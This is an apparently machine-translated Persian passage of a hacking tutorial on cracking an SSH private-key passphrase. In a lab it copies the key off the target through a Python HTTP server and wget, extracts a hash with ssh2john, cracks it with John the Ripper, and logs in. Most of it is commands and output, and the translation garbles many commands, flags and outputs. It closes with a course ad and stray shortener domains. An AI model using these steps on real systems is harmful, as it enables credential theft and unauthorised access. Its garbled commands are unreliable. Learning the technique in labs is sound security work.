نحوه کرک SSH کلید خصوصی رمز عبور با جان قاتل

پوسته امن است یکی از رایج ترین پروتکل های شبکه به طور معمول استفاده می شود برای مدیریت از راه دور دستگاه از طریق یک اتصال رمزگذاری شده. اما SSH مستعد ابتلا به رمز عبور brute-forcing. کلید مبتنی بر احراز هویت را بسیار امن تر و خصوصی کلید می تواند حتی رمزگذاری برای امنیت بیشتر. اما حتی که نیست ضد گلوله پس از SSH کلید خصوصی رمز عبور می تواند ترک خورده با استفاده از John the Ripper.

کلید SSH مبتنی بر احراز هویت

استاندارد راه از اتصال به دستگاه از طریق SSH با استفاده از رمز عبور مبتنی بر احراز هویت. این مزیت بودن آسان تر به راه اندازی رنج می برد اما امنیت-عاقلانه با توجه به اینکه در معرض ابتلا به brute-forcing و رمز عبور خود را حدس زدن.

کلید مبتنی بر احراز هویت از سوی دیگر با استفاده از رمزنگاری برای اطمینان از ارتباط امن. یک جفت کلید تولید شده است متشکل از یک عمومی و کلید خصوصی. کلید خصوصی باید مخفی نگه داشته و استفاده می شود برای اتصال به دستگاه های که مطابق با کلید عمومی.

کلید عمومی مورد استفاده برای رمزگذاری ارتباطات است که تنها مربوط به کلید خصوصی می تواند رمزگشایی. این باعث می شود آن را تقریبا غیر ممکن است برای هکرها برای سازش SSH جلسات مگر اینکه آنها دسترسی به کلید خصوصی.

مراحل زیر را فرض کنیم شما در حال حاضر دسترسی به کامپیوتر هدف از ماشین محلی خود را. من با استفاده از Kali Linux به عنوان محلی جعبه.

مرحله 1: ایجاد یک کاربر جدید در هدف

برای شروع بیایید ایجاد یک کاربر جدید در هدف برای اهداف تظاهرات. استفاده از adduser دستور را وارد کنید و یک رمز عبور جدید در اعلان:

هدف:~$ sudo adduser nullbyte اضافه کردن کاربر `nullbyte' ...
اضافه کردن گروه جدید `nullbyte' (1003) ...
اضافه کردن کاربر جدید `nullbyte' (1003) با گروه `nullbyte' ...
ایجاد خانه directory `/home/nullbyte' ...
کپی کردن فایل از `/etc/skel' ...
وارد new UNIX password:
تکرار new UNIX password:
passwd: رمز عبور با موفقیت به روز شد

بعدی بررسی اطلاعات صحیح است. آن را OK به ترک همه چیز را سفید:

تغییر اطلاعات کاربر برای nullbyte
جدید را وارد کنید ارزش یا مطبوعات را وارد کنید به صورت پیش فرض نام و نام خانوادگی []: اتاق شماره []: تلفن محل کار []: صفحه اصلی گوشی []: دیگر []:
اطلاعات درست است ؟ [y/N] y

ما می توانیم بررسی کاربر جدید اضافه شد با موفقیت با مشاهده /etc/passwd:

هدف:~$ cat /etc/passwd ریشه:x:0:0:ریشه:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
بن:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
همگام سازی:x:4:65534:همگام سازی:/bin:/bin/همگام
بازی:x:5:60:بازی ها:/usr/games:/bin/sh
مرد:x:6:12:مرد:/var/cache/مرد:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
پست الکترونیکی:x:8:8:ایمیل:/var/ایمیل:/bin/sh
اخبار:x:9:9:اخبار:/var/spool/اخبار/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
پروکسی:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
پشتیبان:x:34:34:پشتیبان:/var/پشتیبان گیری:/bin/sh
فهرست:x:38:38:Mailing List Manager:/var/لیست:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats اشکال-سیستم گزارش دهی (مدیریت):/var/lib/gnats:/bin/sh
هیچ کس:x:65534:65534:هیچ کس:/ندارد:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/ندارد:/bin/غلط
syslog:x:102:103::/صفحه اصلی/syslog:/bin/غلط
klog:x:103:104::/صفحه اصلی/klog:/bin/غلط
, sshd,: x:104:65534::/var/run/, sshd,:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/خانه/msfadmin:/bin/bash
اتصال:x:105:113::/var/cache/اتصال:/bin/غلط
postfix:x:106:115::/var/spool/postfix:/bin/غلط
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL, مدیر,,,:/var/lib/mysql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/غلط
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/غلط
distccd:x:111:65534::/:/bin/غلط
کاربر:x:1001:1001:فقط یک کاربر 111,,:/home/user:/bin/bash
خدمات:x:1002:1002:,,,:/صفحه اصلی/سرویس:/bin/bash
telnetd:x:112:120::/ندارد:/bin/غلط
proftpd:x:113:65534::/var/run/proftpd:/bin/غلط
statd:x:114:65534::/var/lib/nfs:/bin/غلط
nullbyte:x:1003:1003:,,,:/صفحه اصلی/nullbyte:/bin/bash

در حال حاضر ما می توانید به کاربر جدید ما با su دستور:

هدف:~$ su - nullbyte رمز عبور:
nullbyte@هدف:~$

مرحله 2: ایجاد یک جفت کلید بر روی هدف

بعد چیزی که ما باید انجام دهید این است ایجاد یک مکان عمومی/جفت کلید خصوصی. از ssh-keygen ابزار به راحتی می توانید مراقبت از این برای ما. استفاده از محل به طور پیش فرض خواهد شد که ایجاد این فایل در دایرکتوری اصلی:

nullbyte@هدف:~$ ssh-keygen تولید عمومی/خصوصی rsa کلید جفت.
وارد فایل است که در آن برای ذخیره کلید (/home/nullbyte/.ssh/id_rsa):
ایجاد شده directory '/home/nullbyte/.ssh'.

ما می خواهیم کلید خصوصی برای رمزگذاری شود بنابراین مطمئن شوید که به وارد کردن رمز عبور در سریع (ما با استفاده از رمز عبور abc123 فقط به نگه داشتن آن ساده):

عبارت عبور را وارد کنید (خالی بدون هیچ کلمه عبور):
وارد همان عبارت را دوباره:
شناسایی خود را ذخیره شده در /صفحه اصلی/nullbyte/.ssh/id_rsa.
کلید عمومی خود ذخیره شده در /صفحه اصلی/nullbyte/.ssh/id_rsa.میخانه.
کلید اثر انگشت است:
1b:01:68:cc:ea:4f:8e:b5:08:72:17:50:32:1b:98:e6 nullbyte@هدف

در حال حاضر ما می توانید تغییر دهید به SSH دایرکتوری:

nullbyte@هدف:~$ cd .ssh/

و بررسی ما کلید وجود دارد:

nullbyte@هدف:~/.ssh$ ls -la در مجموع 16
drwx------ 2 nullbyte nullbyte 4096 2019-06-19 13:49 .
drwxr-xr-x 3 nullbyte nullbyte 4096 2019-06-19 13:46 ..
-rw------- 1 nullbyte nullbyte 1743 2019-06-19 13:49 id_rsa
-rw-r--r-- 1 nullbyte nullbyte 405 2019-06-19 13:49 id_rsa.میخانه

ما همچنین نیاز به ایجاد یک authorized_keys فایل را به مطمئن شوید که ما مجاز به اتصال از ما دیگر دستگاه:

nullbyte@هدف:~/.ssh$ لمس authorized_keys

تنظیم مجوز مناسب بر روی آن برای اطمینان از تنها ما کاربر می تواند خواندن و نوشتن در فایل:

nullbyte@هدف:~/.ssh$ chmod 600 authorized_keys

کلید عمومی نیاز به رفتن در این فایل تا گربه آن را:

nullbyte@هدف:~/.ssh$ cat id_rsa.میخانه ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7IATfm6y2vdtlekwnglj5r9z9euod1mhcweb4vccy+9M+XTEkILb8gk0/0uaNrLfBgcrZi8Y15wIib8122KYfwVIxvn0kbp5sggo4zzq9axapsdxyp8iihcdbu34qkeu+pdq1jjK2QKbJRhRt4woAKGXxpApGfWdbyddelo001vjjmdipuwku695ylf98baolxgudtw+zhL8J2W6cABeQEO3pXaiu560mJxSfRX8j++5djHiwJ9LMQAVD8khrvYfmnExeT1CuhNcbxdd/kU64ccV0zhecUQgXR1zEY/tWVdJL8wWfUnHWza2BiYqCeEhIdKGlVLvpux5lbihlufdcw== nullbyte@هدف

و کپی آن را به authorized_keys فایل مطمئن شوید هیچ خط می شکند و یا فضاهای اضافی:

nullbyte@هدف:~/.ssh$ نانو authorized_keys

مرحله 3: دریافت کلید خصوصی در یک ماشین محلی

در این مرحله ما نیاز به کلید خصوصی (id_rsa) ما در ماشین محلی است. این می تواند اتفاق می افتد از طریق انواع مختلفی از حالات مانند اگر ما به عنوان خوانده شده دسترسی با توجه به LFI یا حتی تزریق دستور به ما اجازه اجرای دستورات خاص.

برای مقاصد تظاهرات ما فقط انتقال آن از طریق HTTP. این همیشه یک ایده خوب برای بررسی که اگر هر نسخه از پایتون نصب شده است:

nullbyte@هدف:~/.ssh$ که پایتون /usr/bin/python

ما می توانیم چرخش سریع HTTP سرور با دستور زیر:

nullbyte@هدف:~/.ssh$ python -m SimpleHTTPServer خدمت HTTP 0.0.0.0 پورت 8000 ...

در محلی ما ماشین ما می توانیم با استفاده از دستور wget برای گرفتن فایل:

~# wget http://10.10.0.50:8000/id_rsa --2020-04-15 12:19:39-- http://10.10.0.50:8000/id_rsa
اتصال به 10.10.0.50:8000... متصل می شود.
درخواست HTTP ارسال و در انتظار پاسخ... 200 OK
طول: 1743 (1.7 K) [نرم افزار/هشت تایی-stream]
صرفه جویی به: 'id_rsa' id_rsa 100%[=====================================================================================>] 1.70 K --.-KB/s در 0.001 s 2020-04-15 12:19:49 (2.18 MB/s) - 'id_rsa' saved [1743/1743]

و بررسی محتویات آن:

~# cat id_rsa -----BEGIN کلید خصوصی RSA-----
Proc-نوع: 4 رمزگذاری شده
DEK-اطلاعات: DES-EDE3-CBC 9A447029ABFAC605 WiRuWyOFt8x+eCwBIbRdhpa8pm1YIuBIC1Od73vslxlIcyyksz8aqcr8k/sus6uY
JHHO6KXjkJCpH/okU9bWGPzQf1cj2jWFf/y7EOSmd1e7RbIA8xWYcAWKPhnvwgnu
z+d6SFSYyj4rkKUvqloclKCblp6M5sCza0ykstzmejzz/tHWRwHGRG31TvJHiqxQ
n9FpriG5MqZoegcYJgvt+z9rrPNf/jaZZb9ulYwxRn+5nCbWqBilu/Mh5knN608c
uW2UyIlyJ2BpyYrOgqadTkMgIwrwERrbu6lmgvtzxcc6/cACdMwdu6gv17MtfOlM
ytzEZ66aa98EFrFfuFX2LgoOBpi4nAAo3yz7iswpwnbnpfzht89gbadruh8fo5x4
07gAajsTiJrCW2nZSqBFx4BTAqYP7Icvdv2iaueg6bfqc2bqpifjyycluy0+YQv4
7uNH9jpT+ZfOY6VK4oG1p+1ieOVothNxcoj0+StUL5i5dQYoW9te8z8+qqswAE9S
aobSSQAUvdNh07XH0TXg+QTsiJGLNMaWmwMBw50WkzJOwN759zuk2b1lbhtpsgbq
AngfcMfoHOvlhnHZNSbCeDB9SzQwkhLnq6cktqaqaa5ay/E2ll+/W0Dmr4QEhk7e
z30FE3QqZU7fqxx7esXTMm8z6lvhQNSWrrxsg48rhub+Mq739T+Yi7xK4C9SCzwe
7BYDqp2ekinCf+5OKf3UObNo5Cugb3viapDKHyWulH+dXdxSkLUsgzDoFdFz0H3m
wvc8Qfn0JoVWFxwd1J3B32ZcEIneeGyotrodz5brmqlv/T7mdM/HRASdonTROEPn
G+Mv65R+MRiAhRIIZO3a8J8eSAzq3AVBuq+gbLabnNvGY2N7KSQ3OBV4XSDYS43R
HuRz2u1GI+sXOr7ZXoQeKbl9qoymRvpppf5kI5IrQBohgf92ggvlbgjobg9m/YNc
mLNm9lz2Y+9LmHU6lgq51a7ZfViVFvj+Us63DoSgdyHvC2oj2zWPOFf9Dm4r8aCO
bFS2BFb7UvBd/G2GxnYFKygTHZhPmZ2y/5fBBF5IA/rbQdE5SqC2MJmB0oOgB07v
csqQ5tX8guIxOnh/KHocR/B8Fwf90shrOWoVC0kqGZJN5PrepzPCvomcjlknc0q8
eUinaZ0r3UCv7z0gjlz66qWERIMlUczBnlalrf4nvkfp3nhrlinzoognoh7pkxpm
mg2qTXWnJ+vwfEDb4M0DYOFKa/AxO2wWsCuvc7ZJYvZL2HSWNVl6fRcFTWbrbir/
ajTfjIclAonNYgGxoDAQKtSSolrNdOquemw79evgdan/Jtbp5irV3bG0hTcJSIPp
kVBSXe3pslX6BUeOPl9KFT9CNxIjNFZkj/gUxIV9LOIEcmHCB04iGVFl/KQA2FWD
27fOZbQPG/h4XC6Zm2iGU7ub0FNA2rId1ZRXlE04gYu5g/nmnAOlSbcqcN+xoMmh
L31FphscezkNda/Fw70+y/5buYGSs4tMsUKuiTkZsqSW9j3R9I/7KLHbpKX7fI7n
OURnUxXvDLoXihVQ9kTgTJM6d8pbHYuda4po2ivxwqdnbthp7ezz4a==
-----در پایان کلید خصوصی RSA-----

مرحله 4: نصب SSH2John در ماشین محلی

مگر اینکه ادم تنومند و بدقواره نسخه از John the Ripper نصب شده است, ما نیاز به دانلود ssh2john از GitHub:

~# wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py --2020-06-07 12:26:03-- https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
حل و فصل raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133
اتصال به raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... متصل می شود.
درخواست HTTP ارسال و در انتظار پاسخ... 200 OK
طول: 7825 (7.6 K) [متن/ساده]
صرفه جویی به: 'ssh2john.py' ssh2john.py 100%[=====================================================================================>] 7.64 K --.-KB/s در 0s 2020-06-07 12:26:04 (21.2 MB/s) - 'ssh2john.py' saved [7825/7825]

گام 5: کرک کلید خصوصی در یک ماشین محلی

همه ما باید انجام دهید این است آن را اجرا کنید در برابر کلید خصوصی و مستقیم نتایج به هش فایل با استفاده از ssh2john پایتون ابزار:

~ # , fuzzy, python ssh2john.py id_rsa > id_rsa.هش

ما می خواهیم با استفاده از جان برای کرک کردن رمز عبور. اما در ابتدا ما نیاز به یک مناسب wordlist; ما می خواهیم با استفاده از یک کوتاه است که در حال حاضر شامل رمز عبور ما را به نگه داشتن آن ساده است. آن را دریافت کنید از اینجا:

~# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt --2020-06-07 12:30:54-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt
حل و فصل raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133
اتصال به raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... متصل می شود.
درخواست HTTP ارسال و در انتظار پاسخ... 200 OK
طول: 81 [متن/ساده]
صرفه جویی به: 'darkweb2017-top10.txt' darkweb2017-top10.txt 100%[=====================================================================================>] 81 --.-KB/s در 0s 2020-06-07 12:30:55 (2.28 MB/s) - 'darkweb2017-top10.txt' saved [81/81]

در حال حاضر اجرای جان مثل معمول تغذیه آن wordlist و هش فایل:

~# جان --wordlist=darkweb2017-top10.txt id_rsa.هش با استفاده از پیش فرض ورودی encoding: UTF-8
لود 1 رمز هش (SSH [RSA/DSA/EC/OPENSSH (SSH کلید خصوصی) 32/64])
هزینه 1 (KDF/رمز [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) 1 است برای همه لود هش
هزینه 2 (تعداد تکرار) 2 است برای همه لود هش
اجرا خواهد شد 4 OpenMP موضوعات
توجه داشته باشید: این فرمت منتشر می کنند ممکن است مثبت کاذب پس از آن را حفظ خواهد کرد تلاش حتی پس از
پیدا کردن نامزد احتمالی.
مطبوعات q یا Ctrl-C به سقط جنین تقریبا هر کلید دیگری برای وضعیت
abc123 (id_rsa)
1g 0:00:00:00 انجام می شود (2020-06-07 12:32) 1.562 g/s 15.62 p/s 15.62 c/s 15.62 C/s 123456..123123
جلسه کامل

ما می توانید آن را شناسایی رمز عبور ما اما فقط تا مطمئن شوید که اجازه استفاده از --نشان می دهد فرمان به بررسی کنید:

~# جان --نشان می دهد id_rsa.هش id_rsa:abc123 1 رمز هش کرک, 0 سمت چپ

مرحله 6: SSH به هدف

ما می توانیم SSH به هدف با استفاده از -من گزینه ای برای مشخص کردن یک کلید خصوصی برای احراز هویت:

~# ssh -من id_rsa nullbyte@10.10.0.50 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: محافظت فایل کلید خصوصی! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
مجوز 0644 برای 'id_rsa' هستند بیش از حد باز است.
لازم است که کلید خصوصی خود را به فایل های قابل دسترسی توسط دیگران است.
این کلید خصوصی را نادیده گرفته خواهد شد.
بار کلید "id_rsa": بد مجوز
nullbyte@10.10.0.50's رمز عبور:

و ما یک خطا دریافت کنید. آن را نمی خواهد اجازه می دهد تا ما را به استفاده از کلید اگر مجوز بیش از حد به طوری که همه ما باید انجام دهید این است که مجموعه مجوز به محدود بیشتر:

~# chmod 400 id_rsa

در حال حاضر ما قادر به اتصال. بعد وارد cracked رمز عبور سریع و با ما باشید در:

~# ssh -من id_rsa nullbyte@10.10.0.50 عبارت عبور را وارد کنید برای کلید 'id_rsa':
لینوکس 2.6.24-16-سرور #1 SMP سه شنبه, ژوئیه 07 13:58:00 UTC 2008 i686 این برنامه همراه با اوبونتو سیستم رایگان نرم افزار;
توزیع دقیق شرایط برای هر یک از برنامه توضیح داده شده در
فایل های فردی در /usr/share/doc/*/کپی رایت. اوبونتو همراه با کاملا بدون گارانتی به حد مجاز
قانون قابل اجرا است. برای دسترسی به رسمی اوبونتو مستندات مراجعه کنید:
http://help.ubuntu.com/
آخرین ورود به سایت: Fri Jun 19 15:20:16 سال 2020 از 10.10.0.1
nullbyte@هدف:~$

کاغذ بسته بندی

در این آموزش ما یاد گرفته در مورد SSH key مبتنی بر احراز هویت و نحوه کرک کلید خصوصی رمز عبور. ما ایجاد یک کاربر جدید در سیستم هدف و تولید یک کلید SSH جفت. ما به دست آمده و کلید خصوصی را از هدف و استفاده ssh2john برای استخراج هش. در نهایت ما cracked کلید خصوصی رمز عبور و استفاده از آن برای اتصال به این هدف است.

می خواهید شروع به ساختن پول به عنوان یک کلاه سفید هکر? پرش شروع خود را-کلاه سفید هک حرفه ای با ما 2020 حق بیمه هک اخلاقی, گواهینامه آموزشی از بسته نرم افزاری جدید Null Byte فروشگاه و دریافت بیش از 60 ساعت آموزش از هک اخلاقی حرفه ای است.

خرید در حال حاضر (90 درصد تخفیف) >

تصویر جلد توسط stevepb/Pixabay; تصاویر توسط drd_/Null Byte


tinyurlis.gdu.nuclck.ruulvis.netshrtco.de